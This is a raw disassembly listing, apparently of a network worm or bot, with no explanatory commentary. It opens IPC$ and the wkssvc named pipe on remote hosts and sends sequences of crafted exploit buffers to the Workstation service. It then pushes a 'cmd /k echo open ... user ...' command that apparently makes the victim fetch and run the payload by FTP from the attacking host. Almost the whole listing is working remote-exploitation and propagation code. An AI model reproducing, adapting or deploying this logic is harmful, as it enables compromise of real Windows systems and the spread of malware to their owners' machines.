		jnz	loc_403779
		mov	ebp, dword_41F1D0
		push	0
		push	58h
		push	offset dword_422240
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	0B0h
		push	offset dword_422298
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	0F6h
		push	offset dword_422348
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	3Eh
		push	offset dword_422440
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	60h
		push	offset dword_422480
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	400h
		push	offset dword_4224E0
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	10Eh
		push	offset dword_4228E0
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_4229F0
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_422B4C
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_422CA8
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_422E04
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	0CEh
		push	offset dword_422F60
		jmp	loc_4038FE
; ---------------------------------------------------------------------------


loc_403779:				; CODE XREF: seg001:00403626j
		cmp	ebp, 3
		jnz	loc_403901
		mov	ebp, dword_41F1D0
		push	0
		push	58h
		push	offset dword_423030
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	0B0h
		push	offset dword_423088
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	0F6h
		push	offset dword_423138
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	3Eh
		push	offset dword_423230
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	60h
		push	offset dword_423270
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	96h
		push	offset dword_4232D0
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_423368
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_4234C4
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_423620
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	6Ah
		push	offset dword_42377C
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_4237E8
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_423944
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	15Bh
		push	offset dword_423AA0
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+2B8h]
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	0
		push	6Ah
		push	offset dword_423BFC


loc_4038FE:				; CODE XREF: seg001:00403774j
		push	esi
		call	ebp	; send


loc_403901:				; CODE XREF: seg001:0040377Cj
		xor	ebp, ebp
		lea	eax, [esp+2B4h]
		push	ebp
		push	ebx
		push	eax
		push	esi
		call	edi	; recv
		push	esi
		call	dword_41F1E8	; closesocket
		push	7D0h
		call	dword_41F050	; Sleep
		push	3D8h
		lea	esi, [esp+13B3Ch]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4039C9
		add	esp, 0C0h
		test	al, al
		jz	short loc_4039BC
		lea	eax, [esp+13B3Ch]
		push	eax
		mov	eax, [esp+13BE4h]
		imul	eax, 3Ch
		add	eax, offset aWkssvc_eng	; "WKSSVC_Eng"
		push	eax
		lea	eax, [esp+2Ch]
		push	offset dword_423C68
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[esp+13BECh], ebp
		jnz	short loc_4039A1
		push	ebp
		lea	eax, [esp+28h]
		push	dword ptr [esp+13BECh]
		push	eax
		lea	eax, [esp+13B58h]
		push	eax
		push	dword ptr [esp+13B48h]
		call	sub_40B2B5
		add	esp, 14h


loc_4039A1:				; CODE XREF: seg001:0040397Bj
		mov	eax, [esp+13BE0h]
		push	1
		imul	eax, 3Ch
		inc	dword_425A60[eax]
		lea	eax, dword_425A60[eax]
		pop	eax
		jmp	short loc_4039BE
; ---------------------------------------------------------------------------


loc_4039BC:				; CODE XREF: seg001:0040356Bj
					; seg001:0040359Dj ...
		xor	eax, eax


loc_4039BE:				; CODE XREF: seg001:004039BAj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 13B24h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039C9	proc near		; CODE XREF: seg001:0040393Bp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_413890
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	sub_408947
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+arg_BC]
		call	dword_41F1C4	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_41F1DC	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403AA5
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_41F1E4	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AA5
		mov	edi, 400h
		push	esi
		mov	esi, dword_41F1CC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	1F4h
		call	dword_41F050	; Sleep
		mov	eax, offset byte_42A390
		push	eax
		push	eax
		push	dword_438A18
		push	[ebp+arg_0]
		call	sub_408A5D
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_41F1D0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403AA9


loc_403AA5:				; CODE XREF: sub_4039C9+4Fj
					; sub_4039C9+65j
		xor	al, al
		jmp	short loc_403ABF
; ---------------------------------------------------------------------------


loc_403AA9:				; CODE XREF: sub_4039C9+DAj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_41F1E8	; closesocket
		mov	al, 1


loc_403ABF:				; CODE XREF: sub_4039C9+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4039C9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404143
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_40418D
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_403B15
		test	eax, eax
		jz	short loc_403B18


loc_403B15:				; CODE XREF: seg001:00403B0Fj
		push	1
		pop	eax


loc_403B18:				; CODE XREF: seg001:00403B13j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403B1C	proc near		; CODE XREF: sub_403C2B+F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_4], esi
		jbe	short loc_403B4B
		mov	edx, [esp+4+arg_8]


loc_403B29:				; CODE XREF: sub_403B1C+2Dj
		mov	eax, [esp+4+arg_0]
		mov	cl, [esi+eax]
		mov	al, cl
		and	cl, 0Fh
		shr	al, 4
		add	cl, 41h
		add	al, 41h
		mov	[edx], cl
		mov	[edx+1], al
		inc	esi
		inc	edx
		inc	edx
		cmp	esi, [esp+4+arg_4]
		jb	short loc_403B29


loc_403B4B:				; CODE XREF: sub_403B1C+7j
		pop	esi
		retn
sub_403B1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B4D	proc near		; CODE XREF: sub_403B4D+CDp
					; sub_403C2B+48Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_403B61
		or	[ebp+arg_7], 1
		jmp	short loc_403B65
; ---------------------------------------------------------------------------


loc_403B61:				; CODE XREF: sub_403B4D+Cj
		and	[ebp+arg_7], 0FEh


loc_403B65:				; CODE XREF: sub_403B4D+12j
		mov	ebx, [ebp+arg_20]
		mov	eax, [ebp+arg_24]
		lea	ecx, [ebx+18h]
		cmp	ecx, eax
		ja	short loc_403B86
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_403B98
; ---------------------------------------------------------------------------


loc_403B86:				; CODE XREF: sub_403B4D+23j
		mov	[ebp+arg_C], ax
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_403B98:				; CODE XREF: sub_403B4D+37j
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_413F0B
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jnz	short loc_403BB1


loc_403BAD:				; CODE XREF: sub_403B4D+A4j
		xor	al, al
		jmp	short loc_403C26
; ---------------------------------------------------------------------------


loc_403BB1:				; CODE XREF: sub_403B4D+5Ej
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_41F054	; WriteFile
		push	[ebp+arg_20]
		test	eax, eax
		jnz	short loc_403BF3
		call	sub_413F7F
		pop	ecx
		jmp	short loc_403BAD
; ---------------------------------------------------------------------------


loc_403BF3:				; CODE XREF: sub_403B4D+9Cj
		call	sub_413F7F
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_403C24
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_403B4D
		add	esp, 2Ch
		jmp	short loc_403C26
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_403B4D+B0j
		mov	al, 1


loc_403C26:				; CODE XREF: sub_403B4D+62j
					; sub_403B4D+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403B4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C2B	proc near		; CODE XREF: sub_404143+16p
					; sub_404143+30p ...

var_D098	= byte ptr -0D098h
var_9098	= byte ptr -9098h
var_7098	= byte ptr -7098h
var_5098	= byte ptr -5098h
var_3098	= byte ptr -3098h
var_1540	= dword	ptr -1540h
var_C44		= byte ptr -0C44h
var_C3F		= byte ptr -0C3Fh
var_C00		= byte ptr -0C00h
var_794		= byte ptr -794h
var_594		= byte ptr -594h
var_190		= byte ptr -190h
var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_6B		= byte ptr -6Bh
var_6A		= byte ptr -6Ah
var_69		= byte ptr -69h
var_68		= dword	ptr -68h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= word ptr -50h
var_4E		= byte ptr -4Eh
var_4C		= byte ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_AC		= dword	ptr  0B4h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 0D098h
		call	sub_413E60
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+arg_8]
		push	ebx
		push	eax
		call	sub_40ADCF
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jnz	loc_4040DF
		push	offset byte_42A390
		push	[ebp+arg_4]
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_794]
		push	200h
		push	eax
		call	sub_41312F
		xor	edi, edi
		add	esp, 10h
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jz	loc_4040DF
		push	401h
		lea	eax, [ebp+var_594]
		push	edi
		push	eax
		call	sub_413890
		push	0DACh
		lea	eax, [ebp+var_1540]
		push	edi
		push	eax
		call	sub_413890
		push	1B58h
		lea	eax, [ebp+var_3098]
		push	edi
		push	eax
		call	sub_413890
		push	0DABh
		lea	eax, [ebp+var_1540]
		push	41h
		push	eax
		call	sub_413890
		mov	esi, [ebp+arg_0]
		push	5
		shl	esi, 4
		push	offset aFb	; "fìÐ\a"
		mov	eax, dword ptr (loc_423CF6+2)[esi]
		mov	ecx, dword ptr (loc_423CF3+1)[esi]
		mov	[ebp+eax+var_1540], ecx
		lea	eax, [ebp+var_C44]
		push	eax
		call	sub_4138F0
		push	3Fh
		lea	eax, [ebp+var_C3F]
		push	offset sub_423CB0
		push	eax
		call	sub_4138F0
		add	esp, 48h
		lea	eax, [ebp+var_594]
		push	eax
		lea	eax, [ebp+var_794]
		push	[ebp+var_8]
		push	eax
		call	sub_403B1C
		lea	eax, [ebp+var_594]
		push	eax
		call	sub_413E90
		push	eax
		lea	eax, [ebp+var_594]
		push	eax
		lea	eax, [ebp+var_C00]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_594]
		push	eax
		call	sub_413E90
		and	[ebp+eax+var_C00], 0
		add	esp, 20h
		xor	ecx, ecx
		lea	eax, [ebp+var_3098]


loc_403D63:				; CODE XREF: sub_403C2B+14Dj
		movzx	dx, byte ptr [ebp+ecx+var_1540]
		mov	[eax], dx
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 0DACh
		jb	short loc_403D63
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aS_2	; "\\\\%s"
		lea	eax, [ebp+var_9098]
		push	2000h
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_9098]
		push	2000h
		push	eax
		lea	eax, [ebp+var_D098]
		push	eax
		call	sub_414A03
		lea	eax, [ebp+arg_8]
		push	offset a_	; "."
		push	eax
		call	sub_41E440
		add	esp, 24h
		test	eax, eax
		jz	short loc_403E0B
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_5098]
		push	2000h
		push	eax
		call	sub_413D8A
		push	20h
		lea	eax, [ebp+var_90]
		push	edi
		push	eax
		call	sub_413890
		lea	eax, [ebp+var_5098]
		add	esp, 1Ch
		mov	[ebp+var_7C], eax
		mov	eax, offset byte_438A10
		push	edi
		push	eax
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	dword_44CD80


loc_403E0B:				; CODE XREF: sub_403C2B+194j
		lea	eax, [ebp+arg_8]
		push	eax
		push	offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc"
		lea	eax, [ebp+var_7098]
		push	2000h
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_7098]
		push	edi
		push	edi
		push	3
		push	edi
		push	3
		push	40000000h
		push	eax
		call	dword_41F05C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_403E50


loc_403E49:				; CODE XREF: sub_403C2B+31Bj
		push	edi
		push	edi
		jmp	loc_4040D6
; ---------------------------------------------------------------------------


loc_403E50:				; CODE XREF: sub_403C2B+21Cj
		push	48h
		lea	eax, [ebp+var_6C]
		push	edi
		push	eax
		call	sub_413890
		and	[ebp+var_6B], 0
		push	10h
		pop	eax
		mov	[ebp+var_6C], 5
		mov	[ebp+var_68], eax
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset dword_424E40
		push	eax
		mov	[ebp+var_6A], 0Bh
		mov	[ebp+var_69], 3
		mov	[ebp+var_64], 48h
		mov	[ebp+var_62], di
		mov	[ebp+var_60], ebx
		mov	[ebp+var_5C], 10B8h
		mov	[ebp+var_5A], 10B8h
		mov	[ebp+var_58], edi
		mov	[ebp+var_54], ebx
		mov	[ebp+var_50], di
		mov	[ebp+var_4E], 1
		mov	[ebp+var_3C], ebx
		call	sub_4138F0
		push	10h
		lea	eax, [ebp+var_38]
		push	offset dword_424E2C
		push	eax
		mov	[ebp+var_28], 2
		call	sub_4138F0
		add	esp, 24h
		lea	eax, [ebp+var_70]
		push	edi
		push	eax
		lea	eax, [ebp+var_6C]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_41F054	; WriteFile
		test	eax, eax
		jz	short loc_403F3D
		lea	eax, [ebp+var_D098]
		push	eax
		call	sub_4149E6
		pop	ecx
		lea	ebx, [eax+eax+12h]


loc_403EEE:				; CODE XREF: sub_403C2B+2C9j
		test	bl, 3
		jz	short loc_403EF6
		inc	ebx
		jmp	short loc_403EEE
; ---------------------------------------------------------------------------


loc_403EF6:				; CODE XREF: sub_403C2B+2C6j
		cmp	byte ptr (loc_423CFB+1)[esi], 0
		jz	short loc_403F02
		add	ebx, 4


loc_403F02:				; CODE XREF: sub_403C2B+2D2j
		lea	eax, [ebp+var_3098]
		push	eax
		call	sub_4149E6
		pop	ecx
		lea	eax, [ebx+eax*2+0Eh]


loc_403F13:				; CODE XREF: sub_403C2B+2EDj
		test	al, 3
		jz	short loc_403F1A
		inc	eax
		jmp	short loc_403F13
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_403C2B+2EAj
		add	eax, 8
		cmp	byte ptr (loc_423CFB+1)[esi], 0
		jz	short loc_403F2B
		add	eax, 4
		jmp	short loc_403F2D
; ---------------------------------------------------------------------------


loc_403F2B:				; CODE XREF: sub_403C2B+2F9j
		inc	eax
		inc	eax


loc_403F2D:				; CODE XREF: sub_403C2B+2FEj
		push	eax
		mov	[ebp+var_8], eax
		call	sub_413F0B
		mov	ebx, eax
		pop	ecx
		cmp	ebx, edi
		jnz	short loc_403F4B


loc_403F3D:				; CODE XREF: sub_403C2B+2B0j
		push	[ebp+var_4]
		call	dword_41F058	; CloseHandle
		jmp	loc_403E49
; ---------------------------------------------------------------------------


loc_403F4B:				; CODE XREF: sub_403C2B+310j
		push	[ebp+var_8]
		push	edi
		push	ebx
		call	sub_413890
		push	4
		push	offset dword_423CA0
		push	ebx
		call	sub_4138F0
		lea	eax, [ebp+var_D098]
		push	eax
		call	sub_4149E6
		inc	eax
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edi
		mov	eax, [ebx+0Ch]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_D098]
		push	eax
		lea	eax, [ebx+10h]
		push	eax
		call	sub_4149C1
		lea	eax, [ebp+var_D098]
		push	eax
		call	sub_4149E6
		lea	eax, [eax+eax+12h]
		add	esp, 28h
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_403FAD


loc_403FA5:				; CODE XREF: sub_403C2B+37Dj
		inc	eax
		test	al, 3
		jnz	short loc_403FA5
		mov	[ebp+arg_0], eax


loc_403FAD:				; CODE XREF: sub_403C2B+378j
		cmp	byte ptr (loc_423CFB+1)[esi], 0
		jz	short loc_403FCF
		push	4
		add	eax, ebx
		push	offset dword_423CA8
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		add	[ebp+arg_0], 4
		mov	eax, [ebp+arg_0]


loc_403FCF:				; CODE XREF: sub_403C2B+389j
		add	eax, ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_3098]
		push	eax
		call	sub_4149E6
		mov	ecx, eax
		mov	eax, [ebp+var_C]
		inc	ecx
		add	[ebp+arg_0], 0Ch
		mov	[eax+8], ecx
		mov	[eax+4], edi
		mov	ecx, [eax+8]
		mov	[eax], ecx
		lea	eax, [ebp+var_3098]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		push	eax
		call	sub_4149C1
		lea	eax, [ebp+var_3098]
		push	eax
		call	sub_4149E6
		mov	ecx, [ebp+arg_0]
		add	esp, 10h
		lea	eax, [ecx+eax*2+2]
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_40402C


loc_404024:				; CODE XREF: sub_403C2B+3FCj
		inc	eax
		test	al, 3
		jnz	short loc_404024
		mov	[ebp+arg_0], eax


loc_40402C:				; CODE XREF: sub_403C2B+3F7j
		push	8
		add	eax, ebx
		push	edi
		push	eax
		call	sub_413890
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		add	eax, 8
		cmp	byte ptr (loc_423CFB+1)[esi], 0
		jz	short loc_40404E
		mov	[eax+ebx], edi
		jmp	short loc_404054
; ---------------------------------------------------------------------------


loc_40404E:				; CODE XREF: sub_403C2B+41Cj
		mov	word ptr [eax+ebx], 1


loc_404054:				; CODE XREF: sub_403C2B+421j
		push	18h
		lea	eax, [ebp+var_24]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	cl, byte ptr (loc_423CFB+1)[esi]
		and	[ebp+var_23], 0
		and	[ebp+var_22], 0
		push	1
		mov	[ebp+var_1A], di
		pop	eax
		mov	[ebp+var_10], di
		push	eax
		push	10B8h
		push	[ebp+var_8]
		lea	esi, [ebp+var_24]
		neg	cl
		sbb	ecx, ecx
		push	ebx
		and	ecx, 2
		sub	esp, 18h
		add	ecx, 19h
		mov	[ebp+var_24], 5
		push	6
		mov	[ebp+var_E], cx
		pop	ecx
		mov	[ebp+var_21], 3
		mov	edi, esp
		push	[ebp+var_4]
		mov	[ebp+var_20], 10h
		mov	[ebp+var_18], eax
		rep movsd
		call	sub_403B4D
		add	esp, 2Ch
		test	al, al
		push	[ebp+var_4]
		jnz	short loc_4040E3
		call	dword_41F058	; CloseHandle
		push	ebx
		call	sub_413F7F
		pop	ecx
		push	0
		push	0


loc_4040D6:				; CODE XREF: sub_403C2B+220j
		push	[ebp+var_7C]
		call	dword_44CD40


loc_4040DF:				; CODE XREF: sub_403C2B+22j
					; sub_403C2B+52j
		xor	eax, eax
		jmp	short loc_40413E
; ---------------------------------------------------------------------------


loc_4040E3:				; CODE XREF: sub_403C2B+498j
		call	dword_41F058	; CloseHandle
		push	ebx
		call	sub_413F7F
		pop	ecx
		xor	esi, esi
		push	esi
		push	esi
		push	[ebp+var_7C]
		call	dword_44CD40
		push	esi
		lea	eax, [ebp+var_190]
		push	[ebp+arg_B4]
		push	eax
		lea	eax, [ebp+arg_18]
		push	eax
		push	[ebp+arg_4]
		call	sub_40B2B5
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_409833
		mov	eax, [ebp+arg_AC]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_425A60[eax]
		push	1
		lea	eax, dword_425A60[eax]
		pop	eax


loc_40413E:				; CODE XREF: sub_403C2B+4B6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404143	proc near		; CODE XREF: seg001:00403AE4p
					; sub_40656E+1E6p
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	1
		rep movsd
		call	sub_403C2B
		add	esp, 4
		lea	esi, [esp+0C8h+arg_0]
		mov	ebx, eax
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	1
		rep movsd
		call	sub_403C2B
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_404186
		test	ebx, ebx
		jz	short loc_404189


loc_404186:				; CODE XREF: sub_404143+3Dj
		push	1
		pop	eax


loc_404189:				; CODE XREF: sub_404143+41j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404143	endp


; =============== S U B	R O U T	I N E =======================================



sub_40418D	proc near		; CODE XREF: seg001:00403B00p

arg_0		= byte ptr  4

		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_403C2B
		add	esp, 4
		lea	esi, [esp+0C8h+arg_0]
		mov	ebx, eax
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_403C2B
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_4041D0
		test	ebx, ebx
		jz	short loc_4041D3


loc_4041D0:				; CODE XREF: sub_40418D+3Dj
		push	1
		pop	eax


loc_4041D3:				; CODE XREF: sub_40418D+41j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40418D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041D7	proc near		; DATA XREF: sub_406059+226o

var_96C		= byte ptr -96Ch
var_7DC		= dword	ptr -7DCh
var_7D8		= byte ptr -7D8h
var_5C4		= byte ptr -5C4h
var_544		= dword	ptr -544h
var_540		= dword	ptr -540h
var_538		= byte ptr -538h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 96Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
